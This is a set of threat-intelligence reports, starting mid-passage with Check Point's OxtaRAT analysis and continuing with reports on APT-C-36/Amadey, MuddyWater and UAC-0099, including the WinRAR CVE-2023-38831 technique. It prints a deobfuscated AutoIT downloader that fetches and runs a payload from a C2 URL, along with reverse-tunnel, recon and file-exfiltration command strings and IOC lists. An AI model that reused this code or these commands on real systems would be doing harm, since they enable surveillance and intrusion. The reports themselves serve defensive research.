"Mozilla/5.0 (Windows NT 11.0; rv:54.0) Gecko/20100101 Firefox/96.0.1" & $url . portscan ip/ip_range, port/port_range Download and execute the portscan script (AutoIT-based pscclient.exe ) 6/12 command parameters description tunnel server, user, password, port, host, host_port, local_port Download, unzip and execute reverse port forwarding with plink: ptun.exe & $server & " -P " & $port & " -C -R 127.0.0.1:" & $listen_port & ":" & $host & ":" & $host_port & " -l " & $user & " -pw " & $password . killtunnel Kill the tunnel with taskkill /IM powers* /F & taskkill /IM ptun.exe . wwwserv Download, unzip and run PHP web server on port 3136 with PHP File Manager. This is done by downloading the AutoIT-based wsrrun.exe which extracts all needed files and executes php CLI as connectionlessupdate.exe -q -S 127.0.0.1:3136 -t -H . stopwwwserv Kill the web server with taskkill /IM connectionle* /F . wmicexec process sysinfo Execute with 'wmic /node:' & %computername% & 'process call create' & $process . Collect system info with hostname & ipconfig /all & arp -a & getmac & net use & net share & quser /server:localhost & whoami /all & net user & systeminfo & wmic process get commandline & nslookup myip.opendns.com. resolver1.opendns.com . getip Get network drives with PowerShell -ep bypass -command get-psdrive. showdrives Get network drives with powershell -ep bypass -command get-psdrive . proclist Get the process list by wmic process get commandline . speedtest Download, unzip and execute Speedtest. showagentversion Return the agent version (version 11 is hardcoded in this specific sample). tempclean Clean the Temp folder with rmdir /q /s %temp%, mkdir %temp% . radar time exitself Exit if the time since the last call is smaller than the parameter. Exit. For the commands that require output, the final command line that was executed and its output are written to the working directory to the file with Random(1, 815782) & "-command-.txt" name. Previous campaigns Although not widely discussed, previous versions of the OxtaRAT backdoor were used in earlier attacks against Azerbaijani political and human rights activists or, when the targets were not disclosed publicly, their lures referenced Azerbaijan-Armenia tensions around Artsakh. The older versions of OxtaRAT have significantly less functionality than the new variant but contain similar code and names for most of the commands and the same C&C communication pattern. June 2021 In July 2021, Qurium Media reported that several prominent human rights and political activists in Azerbaijan received targeted phishing emails that lured them to download malware from the Google Drive link. The link led to a password-protected RAR archive (the password was specified in the email) which in turn contained an Auto-IT compiled executable called Human Rights Invoice Form Document -2021.exe" . When executed, it downloaded from the C&C server shoesbuysellone[.]live the main AutoIT malware (md5: 0360185bc6371ae42ca0dffe0a21455d). Although it doesn t contain a hardcoded agent version number, we can clearly see that this is an earlier version of OxtaRAT. It has very similar functionality and code, but supports fewer commands (11 in total): download implant stopimplant massdownload webcamrecord desktoprecord makepersistent aueval upload uploadexec wmicexec August 2021 In August 2021, another sample was observed, this time submitted to VirusTotal from Armenia. The file called REPORT_ON_THE_AZERBAIJANI_MILLITARY_AGRESSION (Final Updated 2021).scr also bears the PDF icon, and when executed, presents the victim with the following PDF lure: 7/12 Figure 6 PDF lure for the August 2021 version (md5: ddac9a1189e4b9528d411e07d0e98895). In the background, it downloads the main malware from the C&C server https://www.filecloudservices.xyz/wp-comment.php and saves it as PhoneAppService.Exe . The code of this version implements the same string obfuscation as the newest version: $koda_gui = StringFromASCIIArray(StringSplit("77|111|122|105|108|108|97|47|53|46|48|32|40|76|105|110|117|120|59|32|85|59|32|65|110|100|114|111|105| "|"), 1) // Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 18.3 FileInstall(".\REPORT_ON_THE_AZERBAIJANI_MILLITARY_AGRESSION_AGAINST_ARTSAKH.pdf", @AppDataDir & "\" & "REPORT_ON_THE_AZERBAIJANI_MILLITARY_AGRESSION_AGAINST_ARTSAKH.pdf", 1) $n = StringFromASCIIArray(StringSplit("104|116|116|112|115|58|47|47|119|119|119|46|102|105|108|101|99|108|111|117|100|115|101|114|118|105|99|10 "|"), 1) //https://www.filecloudservices.xyz/wp-comment.php $m = StringFromASCIIArray(StringSplit("80|104|111|110|101|65|112|112|83|101|114|118|105|99|101|46|69|120|101", "|"), 1) //PhoneAppService.Exe Run(@ComSpec & " File.txt /" & "c " & StringFromASCIIArray(StringSplit("115|116|97|114|116", "|"), 1) & " " & @AppDataDir & "\" & "REPORT_ON_THE_AZERBAIJANI_MILLITARY_AGRESSION_AGAINST_ARTSAKH.pdf", @AppDataDir, @SW_HIDE) HttpSetUserAgent($koda_gui) HttpSetProxy(1) InetGet($n, @TempDir & "\" & $m, 1) February 2022 In February of last year, Qurium reported another attack, this time targeting Abulfaz Gurbanli, an Azerbaijani political activist. The attackers pretended to be BBC journalists and, similar to the June 2021 attacks, sent the victim an email which contained a Google Drive link, pointing to a password-protected RAR archive called BBC-suallar.rar ( BBC questions ). Once again, a AutoIT-compiled executable called suallar.scr was extracted. This time, it masqueraded as a Word document, complete with a Word icon. Upon execution, it presented the lure DOC file called smm-fraza.doc . In the background, it downloaded from the C&C server https://smartappsfoursix[.]xyz/wp-feed.php and run another version of OxtaRAT. This is a more advanced version, compared to the 2021 attacks, with many additional commands added (29 in total): 8/12 download aueval upload uploadexec exittemp implant stopimplant radar massdownload webcamrecord desktoprecord makepersistent untrace wwwserv stopwwwserv curl reboot zipit unzipit tunnel tightvnc wmicexec search sysinfo showdrives getip listdesktop killtightvnc killtunnel The version from June 2021 was capable only of downloading and exfiltrating files, executing the binaries and AutoIT code, and recording data from the desktop and web camera. In contrast, the version observed in February 2022 is a more powerful malware with a lot of additional features. The actors added capabilities to improve local file enumeration (list files on the desktop, search for specific files), collect data about the compromised system, work with zip files, and, most importantly, improved the ways they can access and control the infected machine by adding commands to install TightVNC or the PHP web server. How does the attack from November 2022 differ from the earlier attacks? Infection chain The first change that the actors implemented in their latest attack is in the infection chain. Previously, the initial .SCR files, masquerading as Word or PDF documents, served only as downloaders. They sent a request to WordPress-like URLs on the C&C server ( wp-feed.php , wpcomment.php , etc) and then executed the main malware received from the attackers server. In the latest campaign, the .SCR file already contains the OxtaRAT backdoor, as a polyglot file. This saves the actors from needing to make additional requests for binaries to the C&C server and attracting unnecessary attention, as well as hides the main malware from being easily discovered on the infected machine, as it looks like a regular image and bypasses type-specific protections. Geofencing The actors added an additional measure to protect their infrastructure, geofencing the C&C domains that store the auxiliary tools and additional payloads. This is a technique currently used by many experienced threat actors to make sure that the proper execution flow is not triggered by sandboxes or researchers, but only on the targeted machines. In this case, the actors limited their operations to Armenian IP addresses. Data collection and exfiltration Since the previous publicly disclosed version, OxtaRAT was updated with 10 additional commands introducing new functionality. Most of the new features aim to improve the ways to steal the victim s data. For example, they implemented the listdir command to recursively enumerate the files in a specified folder, collecting additional data such as the last modified date and size. The previously existing command massdownload , which is used to exfiltrate files of predefined types, was also updated with a few new file extensions (marked in bold): "*.mdb;*.accdb;*.rdo;*.ora;*.accda;*.accdr;*.accdt;*.ppt;*.avi;*.pptx;*.odt;*.pdf;*.txt;*.msf;*.docx;*.xml;*.doc;*.rtf; As can be seen from this snippet, the actors are now interested in additional file types related to Oracle and Microsoft Access databases. This is an interesting development, as it indicates they may be broadening their targets to include corporate networks or specific individuals, as common private computers rarely contain personal files in DB formats. The actors also implemented advanced mass-download commands such as the massdownload2 and massdownload2list that allow the actors to enumerate and exfiltrate specified filetypes more conveniently. In addition, they implemented functions to work with RAR archives ( installrar , rarit , unrarit ) which, along with the clear benefits of uploading the auxiliary tools inside RAR archives to the infected machines, enable the actors to archive all the files of their interest to the multi-volume RAR archive. The default list of extensions provided in the code of the rarit exfiltration function shows a focus on documents, pictures, archives, and databases: Func rar_it($source_file_or_dir, $destination_path, $extensions_to_rar = "*.xls;*.xlsx;*.doc;*.docx;*.pdf;*.rar;*.zip;*.tar;*.tar.gz;*.sql;*.txt;*.mdb;*.jpg;*.jpeg;*.accdb", $parts = "12M") Another interesting feature included in the most recent version is the speedtest command which invokes Speedtest CLI, a dedicated tool to test the speed and performance of an internet connection. As the malware is not only capable of collecting a large quantity of files but also recording video from a web camera and screen, it can produce significantly large outputs with gigabytes of data. Therefore, for the sake of 9/12 OPSEC, to hide the extensive data exfiltration the actors likely needed a way to control and estimate the upload all of the collected information to their servers. The last feature added to the data collection mechanism is a proclist command, which uses WMIC to retrieve the command line for each of the processes. This feature might be used for evasion purposes, so the actors can make sure they are running in an actual environment as opposed to a sandbox, as well as to learn more about the software configurations running on the victim s machine. Port Scanning One of the unexpected features that we found during this investigation is the portscan tool, which is included only in the newer version of the backdoor. The port scanner, pscclient.exe , is an Auto-IT based non-obfuscated TCP Connect tool that can scan a specified range of IP addresses and a range of ports. The default range of ports configured in the tool includes both well-known and non-standard ports: Global $port_range[100] = [135, 4444, 136, 137, 138, 139, 20, 21, 22, 23, 80, 443, 445, 8443, 8080, 3131, 3128, 5681, 5060, 5061, 3389, 33899, 33399, 3390, 389, 4000, 1433, 1521, 9222, 45687, 7292, 789, 50022, 2109, 2233, 55522, 33391, 33392, 33390, 33394, 33389, 33398] OxtaRAT, which previously had mostly local recon and surveillance capabilities, can now be used as a pivot for active reconnaissance of other devices. This may indicate that the threat actors are preparing to extend their main attack vector, which is currently social engineering, to infrastructure-based attacks. It also might be a sign that the actors are moving from targeting individuals to targeting more complex or corporate environments. Infrastructure Our search for domains with similar characteristics to edupoliceam[.]info led to more active domains: filesindrive[.]info , mediacloud[.]space and avvpassport[.]info . All the domains are registered with NameCheap. While filesindrive[.]info and mediacloud[.]space , similar to filecloudservices[.]xyz used in back in 2021, have a generic reference to cloud file storages, the domain avvpassport[.]info is more specific, and it masquerades as the Passport and Visa Office of the Republic of Armenia. Both of these domains, edupoliceam[.]info and avvpassport[.]info , were created on September 23, 2022, and were likely also used for other attacks on Armenian targets. At the beginning of our investigation, all of these domains used Cloudflare services to hide their IP addresses. Due to their configuration, by looking for IP addresses with the same behavior, we identified 38.242.197[.]156 as likely their real IP address. While we were completing the investigation and notifying the relevant parties, Cloudflare blocked these domains as malicious, and they all started to publicly resolve to their real IP address 38.242.197[.]156 . Targeting and Attribution Alexander Lapshin, whose name is used in the lure, shared that on the same day the samples were uploaded to VT, the representatives of Artsakh bank notified that they received malicious emails in his name. This information was also later confirmed by Cyberhub-AM, digital security helpdesk for Armenian civil society. Due to the infrastructure revealed, we believe that there might have been other targets of this campaign in Armenia as well. Figure 7 Facebook post by Lapshin (automatic translation). All of the samples from this campaign and earlier ones are related to Azerbaijani government interests; they either targeted Azerbaijani political and human rights activists or, if the targets were not disclosed publicly, reference tensions between Azerbaijan and Armenia over Artsakh/Nagorno-Karabakh. Meta, in their Adversarial Threat Report Q1-2021, attributed the previous campaigns reported by Qurium to the Azeri Ministry of Internal Affairs. However, no technical analyses were provided. In 2017, Amnesty International reported a campaign that started as early as November 2015 and continued through 2017. This campaign used Autoit malware called AutoItSpy against Azerbaijani dissidents, and was later connected by Qurium to other denial-of-service attacks, intrusion attempts, spear-phishing campaigns and electronic media monitoring from Internet infrastructure associated with the Government of Azerbaijan. The AutoItSpy malware used at the time had the ability to log the keystrokes and collect screenshots, exfiltrating both of them over SMTP protocol. 10/12 Even though we couldn t find any infrastructure overlap with our campaign (considering a gap of a few years and public exposure of previous attacks), there is a significant overlap in major TTPs: The use of AutoIT malware. The use of files with SCR extensions bearing document-related icons (PDF, Word). A focus on surveillance technology (keylogging, screen capture, data exfiltration). Similar consistent targeting. Although it is tricky to compare the code of tools with different functionality (keylogger compared to a full-blown surveillance tool), there are a few high-level overlaps in the coding style of these tools: The samples from the AutoItSpy campaign are obfuscated with similar techniques as the OxtaRAT samples from 2022. Temporary file names with collected information of AutoItSpy and OxtraRAT both mimic the Windows thumbnail cache: Figure 8 Thumb in file names of AutoItSpy (top) and OxtraRAT (bottom). Additional details such as extensively using %random% %random% %random% in all the batch scripts, immediately setting file attributes with FileSetAttrib($dir, "+SH") for all the newly created folders, excessive usage of the Random function, etc. Based on these similarities in TTPs, code and targeting, we can conclude with medium confidence that both cases involve the same threat actors. We can also speculate that the missing implant in OxtaRAT that we were unable to access might be a keylogger; not only is it an important functionality missing from OxtaRAT s multi-functional surveillance arsenal, but also the actors might take extra measures to avoid revealing it to anyone except the targets, possibly to avoid attribution based on already uncovered information. Conclusion In this article, we describe the latest attack and the evolution of the tools in the campaigns against Armenian targets, as well as Azerbaijani activists and dissidents. All the details indicate that the underlying threat actors have been maintaining the development of Auto-IT based malware for the last seven years, and are using it in surveillance campaigns whose targets are consistent with Azerbaijani interests. Check Point s Threat Prevention Engines provides comprehensive coverage of attack tactics, file-types, and operating systems and protects against attacks such as described in this research. ThreatCloud is Check Point s rich cyber defense database. Its threat intelligence powers Check Point s zero-day protection solutions. Check Point products provide the following coverage against this threat: Anti-Bot: Trojan.WIN32.OxtaRAT.A, Trojan.WIN32.OxtaRAT.B Threat Emulation: Trojan.WIN.OxtaRAT.A IOCs 11/12 6ac414fad3d61ad5b23c2bcdd8ee797f ddac9a1189e4b9528d411e07d0e98895 0360185bc6371ae42ca0dffe0a21455d ddac9a1189e4b9528d411e07d0e98895 1c94f1c6241cb598da5da7150a0dc541 df9673032789847a367df9923bbd44d2 a1a39e458977aa512b7ff2ba1995b18d cf225029cade918d92b4b4e2b789b7a5 86b5245112436e8a5eabf92fab01ffba edupoliceam[.]info filesindrive[.]info mediacloud[.]space avvpassport[.]info filecloudservices[.]xyz 38.242.197[.]156 GO UP BACK TO ALL POSTS 12/12 Analysis of activities of suspected APT-C-36 (Blind Eagle) organization launching Amadey botnet Trojan mp.weixin.qq.com/s/-7U1-NTP0EdVOtptzbHUsg Advanced Threat Institute 360 Threat Intelligence Center 2023-10-31 06:05 Posted onBeijing APT-C-36 blind eagle APT-C-36 (Blind Eagle) is an APT organization suspected to come from South America. Its main targets are located in Colombia and some areas of South America such as Ecuador and Panama. Since its discovery in 2018, the organization has continued to launch targeted attacks against government departments, finance, insurance and other industries as well as large companies in Colombia. During the tracking of the APT-C-36 organization, we found that the organization is constantly trying new attack streams and trying to add the Amadey botnet Trojan to its arsenal. 1. Analysis of attack activities In daily hunting activities, we discovered that the APT-C-36 organization recently attempted to add the Amadey botnet Trojan to its usual PDF spear phishing attack flow. The Amadey botnet Trojan is a modular botnet Trojan that appeared for sale on Russian hacker forums around October 2018. It has the capabilities of intranet traversal, information theft, remote command execution, script execution, and DDos attacks. 1. Attack process analysis The attack flow of the Amadey botnet Trojan was used in this campaign. 2. Load delivery analysis The decoy PDF document downloads an encrypted compressed package containing a malicious VBS script from a third-party cloud service. Malicious code data is embedded in VBS. The Powershell exploit script code is generated by replacing special characters and decrypted by beas64. The Powershell code downloads two payloads from a third-party platform for loading and running. 3. Attack component analysis One of the two payloads is net_dll for reflection loading, which can be seen frequently used by APT-C-36 in previous attacks; the other is the Amadey botnet Trojan. As a relatively complete botnet Trojan, Amadey has: Sandbox, persistence, permission acquisition, script execution, remote control, data theft and other functions. Net_dll The Powershell script decrypts the net_dll payload data by downloading it from a third-party platform and calls the CdWDdB.DKeSvl.NnIaUq method to implement reflective loading. The net_dll is a common component of APT-C-36 and is mainly used for persistence and loading the next stage of payload execution. After Net_dll is run, a vbs and ps1 script will be created in the %TEMP% folder of the computer for persistence. Create scheduled tasks for persistence. Continue to download the next-stage payload encoding data from the third-party platform, reverse the encoded data, replace special characters, and base64 decode the encoded data to obtain the next-stage payload. The processed net_dll payload data is loaded reflectively by calling its KoAOkX.MXuuJb.WwQTZc method. In the second stage, after net_dll is run, the AsyncRAT Trojan is injected into the system process to run. Amadey The base64 encoded data downloaded by the Powershell script code from another thirdparty platform is the Amadey botnet Trojan. As a relatively complete botnet Trojan, Amadey has: anti-sandbox, persistence, permission acquisition, script execution, command execution, lateral movement, DDos attacks, data theft and other functional plug-ins. 461A67CE40F4A12863244EFEEF5EBC26 size 237056 (bytes) type WIN32 EXE After running the distributed Amadey, it will download three files: cred.dll, clip.dll, and onLyofFicED.bat. The dll file is Amadey s information collection component and is used to steal user privacy data such as browser accounts. The bat file is to Malicious scripts executed. During the file request process, Amadey will send specific fields to the CC server based on the current computer information. The meaning of each field. Field meaning Infected machine ID Amadey version number AmadeyID system version Number of system bits Do you have administrator rights? Computer name username Current domain Install anti-virus software GetTaskContent none In the bat file, the attacker uses base64 encryption + AES + Gzip to encrypt the two executable programs and embed them into the script file. After the bat script is run, the ciphertext data is located through the ":" symbol, decrypted and loaded in sequence. One of the executable programs is the CrubCrypt encryptor. After running, it Gzip decompresses the Remcos compressed data of the resource and then loads and runs it. 2. Attribution Research and Judgment The bait PDF file used in this spear phishing incident, the malicious code obfuscation method used, and the subsequent payload are consistent with those used by APT-C-36 in previous activities. During the continuous tracking of APT-C-36, we found that the organization continues to launch attacks in Ecuador and other regions, and constantly tries to add new Trojan tools to its arsenal to improve its attack capabilities. It is foreseeable that APT-C-36 may turn its attention to new areas in the future, and its own attack capabilities will become more complex. Appendix IOC 20561F6497492900567CBF08A20AFCCA 42DD207E642CEC5A12839257DF892CA9 461A67CE40F4A12863244EFEEF5EBC26 FDD66DC414647B87AA1688610337133B 5590C7E442E8D2BC857813C008CE4A6C 303ACDC5A695A27A91FEA715AE8FDFB8 FECB399CAE4861440DF73EAA7110F52C C92A9FA4306F7912D3AF58C2A75682FD 57A169A5A3CA09A0EDE3FEDC50E6D222 05B99BEE0D8BA95F5CCB1D356939DAA8 64E6B811153C4452837E187A10D54665 c1eeb77920357a53e271091f85618bd9 autgerman.autgerman.com http://213.226.123.14/8bmeVwqx/Plugins/cred.dll http://213.226.123.14/8bmeVwqx/Plugins/clip64.dll http://213.226.123.14/8bmeVwqx/index.php http://213.226.123.14/8bmeVwqx/Plugins/cred64.dll http://213.226.123.14/8bmeVwqx/Plugins/clip.dll http://213.226.123.14/8bmeVwqx/index.php?scr=1 https://subirfact.com/onLyofFicED.bat 360 Advanced Threat Research Institute 360 Advanced Threat Research Institute is the core capability support department of 360 Digital Security Group. It is composed of 360 senior security experts. It focuses on the discovery, defense, disposal and research of advanced threats. It has been the first to capture Double Kill, Double Star, and Nightmare Formula globally. It has conducted many well-known zero-day attacks in the wild and exclusively disclosed the advanced actions of multiple national APT organizations, winning widespread recognition within and outside the industry and providing strong support for 360 to ensure national network security. APT109 MuddyWater eN-Able spear-phishing with new TTPs deepinstinct.com/blog/muddywater-en-able-spear-phishing-with-new-ttps November 1, 2023 Announcing Deep Instinct Prevention for Storage for cloud storage and NAS environments Learn more Executive summary: Deep Instinct s Threat Research team has identified a new campaign from the MuddyWater group The campaign has been observed attacking two Israeli targets The campaign exhibits updated TTPs to previously reported MuddyWater activity Figure 1: Campaign overview Introduction Previous research showed that MuddyWater has sent spear-phishing emails, starting back in 2020, with direct links, as well as PDF, RTF, and HTML attachments containing links to archives hosted on various file-sharing platforms. Those archives contained installers for various legitimate remote administration tools. Before launching the new campaign during the Israel-Hamas war, MuddyWater reused previously known remote administration tools, utilizing a new file-sharing service called Storyblok. On October 30th Deep Instinct identified two archives hosted on Storyblok containing a new multi-stage infection vector. It contains hidden files, an LNK file that initiates the infection, and an executable file designed to unhide a decoy document while executing Advanced Monitoring Agent, a remote administration tool. This is the first public report about MuddyWater utilizing this remote administration tool. The Multi-stage Social Engineering Campaign While Deep Instinct could not verify the spreading mechanism of the new campaign, it most likely starts with a spear-phishing email, similar to previous campaigns. The content of the email lures the victim into downloading an archive hosted at a.storyblok[.]com In this analysis, we examine the defense-video.zip file. When the archive is extracted, several folders must be navigated until a LNK shortcut, which looks like another folder named Attachments, is found: Figure 2: LNK Shortcut However, there are additional hidden folders and files extracted from the archive: Figure 3: Hidden folders When the victim opens the LNK file, the infection chain starts. By examining the LNK file, we can see that it executes an executable from one of the hidden directories: Figure 4: LNK command line arguments The file Diagnostic.exe has been used in both archives Deep Instinct observed. The purpose of this file is to execute another executable called Windows.Diagnostic.Document.EXE, which is located in the hidden directory named .end under a Windows.Diagnostic.Document hidden directory. The file named Windows.Diagnostic.Document.EXE is a signed, legitimate installer for Advanced Monitoring Agent. In addition to executing the remote administration tool, Diagnostic.exe also opens a new Windows Explorer window of the hidden Document folder. This is done to fool the victim that opened the LNK file into thinking that it was indeed a folder. The decoy document is an official memo from the Israeli Civil Service Commission, which can be publicly downloaded from their website. The memo describes what to do in case a government worker expresses opinions against the Israeli state on social networks: Figure 5: Decoy document Conclusion MuddyWater continues to attack Israeli targets in various ongoing campaigns. In this campaign, MuddyWater employs updated TTPs. These include a new public hosting service, employing a LNK file to initiate the infection, and utilizing intermediate malware that mimics the opening of a directory while executing a new remote administration tool. After the victim has been infected, the MuddyWater operator will connect to the infected host using the legitimate remote administration tool and will start doing reconnaissance on the target. After the reconnaissance phase, the operator will likely execute PowerShell code which will cause the infected host to beacon to a custom C2 server. MuddyWater has used PhonyC2 in the past. However, Deep Instinct recently observed MuddyWater using a new C2 framework named MuddyC2Go a detailed blog will be published soon, stay tuned. IOCs: File Description 37c3f5b3c814e2c014abc1210e8e69a2 Archive containing Atera Agent 16923d827a440161217fb66a04e8b40a Atera Agent Installer 7568062ad4b22963f3930205d1a14df7 Archive containing Atera Agent 39eea24572c14910b67242a16e24b768 Archive containing Atera Agent 2e09e53135376258a03b7d793706b70f Atera Agent Installer 1f0b9aed4b2c8d958a9b396852a62c9d Archive containing SimpleHelp 065f0871b6025b8e61f35a188bca1d5c SimpleHelp Installer 146cc3a1a68be349e70b79f9115c496b defense-video.zip dd247ccd7cc3a13e1c72bb01cf3a816d Attachments.lnk 8d2199fa11c6a8d95c1c2b4add70373a Diagnostic.exe 04afff1465a223a806774104b652a4f0 Advanced Monitoring Agent Installer Description 6167f03c8b2734c20eb02d406d3ba651 Decoy Document (defense-video.zip) e8f3ecc0456fcbbb029b1c27dc1faad0 attachments.zip 952cc4e278051e349e870aa80babc755 Decoy Document (attachments.zip) Network IP or URL Description ws.onehub[.]com/files/7f9dxtt6 URL to Archive of Atera Agent a.storyblok[.]com/f/253959/x/b92ea48421/form.zip URL to Archive of Atera Agent a.storyblok[.]com/f/255988/x/5e0186f61d/questionnaire.zip URL to Archive of Atera Agent a.storyblok[.]com/f/259791/x/94f59e378f/questionnaire.zip URL to Archive of SimpleHelp 146.70.149[.]61 MuddyWater s SimpleHelp server 146.70.124[.]102 Suspected MuddyWater SimpleHelp server 37.120.237[.]204 Suspected MuddyWater SimpleHelp server 37.120.237[.]248 Suspected MuddyWater SimpleHelp server a.storyblok[.]com/f/259837/x/21e6a04837/defensevideo.zip URL to Archive of Advanced Monitoring Agent IP or URL Description a.storyblok[.]com/f/259791/x/91e2f5fa2f/attachments.zip URL to Archive of Advanced Monitoring Agent Additional IOCs regarding MuddyWater can be found in our GitHub page: https://github.com/deepinstinct/Israel-Cyber-Warfare-Threat-Actors Threat Actor 'UAC-0099' Continues to Target Ukraine deepinstinct.com/blog/threat-actor-uac-0099-continues-to-target-ukraine December 21, 2023 DECEMBER 21, 2023 Deep Instinct Threat Lab Key Takeaways "UAC-0099" is a threat actor that has targeted Ukraine since mid-2022 Deep Instinct Threat Lab has identified new attacks by the threat actor The threat actor was observed leveraging CVE-2023-38831 The threat actor targets Ukrainian employees working for companies outside of Ukraine Introduction In May 2023, the Ukrainian CERT published advisory #6710 about a threat actor dubbed UAC-0099. The advisory briefly details the threat actor s activities and tools. Since the CERT-UA publication in May, Deep Instinct has identified new attacks carried out UAC-0099 against Ukrainian targets. This blog post will shed additional light on the threat group s recent attacks, which feature common tactics, techniques, and procedures (TTPs), including the use of a fabricated court summons to bait targets in Ukraine into executing the malicious files. Important note: Some of the C2 servers related to these attacks are still active at the time of publication. 1/11 Figure 1: Overview of recent UAC-0099 activities. RAR SFX with LNK Infection Vector In early August, UAC-0099 sent an email impersonating the Lviv city court using the ukr.net email service. The email was sent to a corporate email box of a Ukrainian employee working remotely for a company outside of the Ukraine. The attached is an executable file created by WinRAR, the Windows-based file archiver and compression utility that can compress a file as a self-extracting archive (SFX): 2/11 Figure 2: Prompt when executing the attached SFX file. After extracting the contents of the archive, a new file is created with a double extension, in this case docx.lnk: Figure 3: Double extension social engineering trick. The file looks like a regular document file. However, it s a LNK shortcut disguised as a DOCX file. Closer inspection reveals that the file uses the WordPad application icon instead of a DOCX icon. When opened, the specially crafted LNK file executes PowerShell with malicious content: 3/11 Figure 4: Malicious PowerShell commands inside the LNK file. The malicious PowerShell code decodes two base64 blobs and writes the output into VBS and DOCX files. After that, the PowerShell code opens the DOCX file as a decoy while also creating a new scheduled task that executes the VBS file every three minutes. The VBS malware was named LonePage by CERT-UA. When executed, it creates a hidden PowerShell process that communicates with a hardcoded C2 URL to fetch a text file. The rest of the PowerShell code is executed only if the response from the C2 is greater than one byte. In that instance, the PowerShell script checks to see if the string get-content included in the text file. If the string is present, then the script executes the code from the server and saves it as an array of bytes. If the string is absent, the script executes a combination of commands inside the text file from the server and some hard-coded basic enumeration commands such as whoami: Figure 5: LonePage VBS script. Regardless of the C2 response, the results of executing the commands inside the txt file or the hardcoded commands are sent back to the same C2 server. However, it is sent to a different port via HTTP POST method. The DOCX document is a decoy to trick the victim into thinking they re opening a legitimate DOCX file containing a court summons instead of a malicious file: 4/11 Figure 6: Contents of DOCX file. In early November, another instance of this campaign was observed using a different C2 address 196.196.156[.]2. Since the threat actor controls the content of the upgrade.txt files, they can change it according to their objectives. As such, the content is not always the same and can vary. The following code was observed as a response from the C2 server at 2023-11-08 14:50:30 UTC. 5/11 Figure 7: C2 Get-Screenshot command. This PowerShell code is responsible for taking a screenshot. As mentioned above, the LonePage VBS sends the results back to the C2, allowing the threat actor to execute any PowerShell code on the infected computer and receive the response back. At the end of November 2023, another campaign instance was observed using the C2 address 2.59.222[.]98. In this case, the payload response from the C2 server aligns with what was described as recon activity in the pastebin: Figure 8: Recon commands received from C2 server. The decoy document is a PDF file instead of a DOCX. And instead of the usual court summons document, the PDF file shows a smudged document: 6/11 Figure 9: Smudged decoy PDF document. HTA Infection Vector In contrast to the LNK attack vector described earlier, this attack uses HTA. The HTA method is similar, but there are notable differences. Instead of an LNK file invoking PowerShell, the HTA file includes HTML code that contains a VBScript that executes PowerShell. The scheduled task cadence is also different it runs every four minutes instead of three in the previous cases. While CERT-UA reported in their advisory that the HTA file drops an HTML file as a decoy, Deep Instinct observed a similar court summons DOCX decoy document, like what was observed in the LNK chain. 7/11 Figure 10: HTA file content. CVE-2023-38831 Infection Vector In both attacks described below, UAC-0099 exploited a known WinRAR vulnerability, identified by Group-IB and traced back to April 2023. The vulnerability stems from how WinRAR processes ZIP files. The exploitation requires a user to interact with a specially crafted ZIP archive. Here s how it works: the attacker creates an archive with a benign filename with a space after the file extension for example, poc.pdf . The archive includes a folder with the same name, including the space (something that is not possible under normal conditions, since the operating system does not allow the creation of a file with the same name). The folder includes an additional file with the same name as the benign file, including a space, followed by a .cmd extension. When a user opens a ZIP file containing these files in an unpatched version of WinRAR and double-clicks on the benign file, the file with the extension is executed instead. The vulnerability might produce higher infection rates because the attacks are disguised so well; even security-savvy victims can fall for the deception. Expecting to open a benign file, the user will inadvertently execute malicious code. You can find a POC for the vulnerability in GitHub. A patched WinRAR (version 6.23) was released on August 2, 2023. Deep Instinct identified two ZIP files created by UAC-0099" on August 5, 2023: 8/11 Figure 11: Contents of malicious file inside ZIP archive. The malicious file is different in the two files, each containing a different C2 URI path. The modification time between the two files is only two seconds, indicating that, most likely, the files were created in an automated fashion. This, combined with the fact that UAC-0099 started to exploit the vulnerability several days after the patch, shows the level of sophistication of the attackers. While Google TAG identified several Russian threat actors using the vulnerability to attack Ukrainian targets, the UAC-0099 activity is absent in their blog. The CVE assignment and the Group-IB blog about the vulnerability were published after UAC-0099 leveraged the attack technique, indicating they likely knew how to exploit it. The decoy used in this campaign was once again the summon to court document theme. Conclusions and Recommendations The tactics used by UAC-0099 are simple, yet effective. Despite the different initial infection vectors, the core infection is the same they rely on PowerShell and the creation of a scheduled task that executes a VBS file. Monitoring and limiting the functionality of those components can reduce the risk of UAC0099 attacks and/or identify them quickly in the event of compromise. The WinRAR exploitation is an interesting choice. Some people don t update their software in a timely fashion, even with automatic updates. WinRAR requires a manual update, meaning that even if a patch is available, many people will likely still have a vulnerable version of WinRAR installed. Please make sure you have the latest version of WinRAR installed. IOCs and the POC for the CVE-2023-38831 can be found on our GitHub. IOCs 147.78.46[.]40 196.196.156[.]2 2.59.222[.]98 9/11 SHA256 Descriptio d21aa84542303ca70b59b53e9de9f092f9001f409158a9d46a5e8ce82ab60fb6 0eec5a7373b28a991831d9be1e30976ceb057e5b701e732372524f1a50255c7 8aca535047a3a38a57f80a64d9282ace7a33c54336cd08662409352c23507602 2c2fa6b9fbb6aa270ba0f49ebb361ebf7d36258e1bdfd825bc2faeb738c487ed Decoy 659abb39eec218de66e2c1d917b22149ead7b743d3fe968ef840ef22318060fd 0aa794e54c19dbcd5425405e3678ab9bc98fb7ea787684afb962ee22a1c0ab51 4e8de351db362c519504509df309c7b58b891baf9cb99a3500b92fe0ef772924 53812d7bdaf5e8e5c1b99b4b9f3d8d3d7726d4c6c23a72fb109132d96ca725c2 Decoy 38b49818bb95108187fb4376e9537084062207f91310cdafcb9e4b7aa0d078f9 a10209c10bf373ed682a13dad4ff3aea95f0fdcd48b62168c6441a1c9f06be37 61a5b971a6b5f9c2b5e9a860c996569da30369ac67108d4b8a71f58311a6e1f1 Decoy 86549cf9c343d0533ef80be2f080a7e3c38c77a1dfbde0a2f89048127979ec2a 762c7289fb016bbcf976bd104bd8da72e17d6d81121a846cd40480dbdd876378 39d56eab8adfe9eb244914dde42ec7f12f48836d3ba56c479ab21bdbc41025fe f75f1d4c561fcb013e262b3667982759f215ba7e714c43474755b72ed7f9d01e Decoy 986694cad425c8f566e4e12c104811d4e8b30ce6c4c4d38f919b617b1aa66b05 CVE-2023 38831 ZIP 54458ebfbe56bc932e75d6d0a5c1222286218a8ef26face40f2a0c0ec2517584 Payload 96ab977f8763762af26bad2b6c501185b25916775b4ed2d18ad66b4c38bd5f0d 6a638569f831990df48669ca81fec37c6da380dbaaa6432d4407985e809810da Decoy 